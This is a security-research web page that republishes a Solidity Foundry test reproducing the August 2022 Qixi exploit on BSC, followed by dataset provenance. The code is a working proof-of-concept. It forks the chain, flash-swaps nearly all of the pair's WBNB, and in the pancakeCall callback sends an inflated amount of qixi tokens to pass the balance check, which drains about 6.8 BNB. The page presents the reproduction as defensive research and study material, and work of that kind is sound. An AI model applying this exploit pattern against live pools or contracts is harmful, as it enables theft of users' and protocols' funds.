Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/Qixi_exp.sol

Public reproduction file for dataset entry Qixi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/Qixi_exp.sol31 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6// @KeyInfo -- Total Lost : ~6.8 BNB
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x16be4fe1c8fcab578fcb999cbc40885ba0d4ba9f3782a67bd215fb56dc579062
8// Attacker : https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f
9// Attack Contract : https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb
10// GUY : https://x.com/8olidity/status/1555366421693345792
12contract Exploit is Test {
13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15 IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
16 IERC20 qixi = IERC20(0x65F11B2de17c4af7A8f70858D6CcB63AAC215697);
18 function setUp() external {
19 cheats.createSelectFork("bsc", 20_120_884);
20 }
22 function testExploit() external {
23 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
24 Pair.swap(0, WBNB.balanceOf(address(Pair)) - 1e7, address(this), bytes("0x123"));
25 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
26 }
28 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
29 qixi.transfer(address(Pair), 999_999_999_999_999e18);
30 }

Analysis

Dataset entry

Public Foundry test for “Qixi” (2022-08-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2723e1f6a9a3cd003fd395cc46882e4573cb249f

  • Attack Contract

    0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb

File record

Name
Qixi
Path
src/test/2022-08/Qixi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
83f54f3c7574b2d7a5574120b87ed5d2f9dbbaff
Language
Solidity
Size
32 lines
Date
2022-08-03
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/Qixi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 83f54f3c7574b2d7a5574120b87ed5d2f9dbbaff, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.